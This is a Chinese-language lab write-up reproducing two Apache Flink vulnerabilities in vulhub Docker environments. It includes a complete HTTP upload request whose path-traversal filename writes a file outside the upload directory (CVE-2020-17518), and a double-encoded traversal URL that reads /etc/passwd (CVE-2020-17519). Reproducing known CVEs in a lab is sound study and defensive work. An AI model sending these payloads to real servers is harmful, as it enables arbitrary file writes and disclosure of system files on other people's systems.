Apache Flink CVE-2020-17518和CVE-2020-17519漏洞复现 2021-01-07 10:06:38 Steven Xeldax ## Apache Flink漏洞(CVE-2020-17518) ### 漏洞概述 ``` Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。 ``` ### 影响版本 ``` Flink 1.5.1-1.11.2 ``` ### 环境搭建 vulhub > https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518 ``` cd vulhub-master/flink/CVE-2020-17518 docker-compose up -d ``` 访问端口8081  ### 漏洞浮现 ``` POST /jars/upload HTTP/1.1 Host: 192.168.204.131:8081 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6Y Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/111" test ------WebKitFormBoundaryoZ8meKnrrso89R6Y-- ``` 发包报文如下:  我们进到/tmp/下看到111  ### 漏洞分析  ## Apache Flink漏洞(CVE-2020-17519) ### 漏洞概述 ``` Apache Flink 1.11.0中引入的一个更改(也在1.11.1和1.11.2中发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。 ``` ### 影响版本 ``` 1.11.0、1.11.1、1.11.2 ``` ### 环境搭建 Vulhub地址: > https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17519 ``` cd vulhub-master/flink/CVE-2020-17519 docker-compose up -d ``` ### 漏洞复现 ``` http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd ``` 访问如下:  ### 漏洞分析 https://github.com/apache/flink/commit/a5264a6f41524afe8ceadf1d8ddc8c80f323ebc4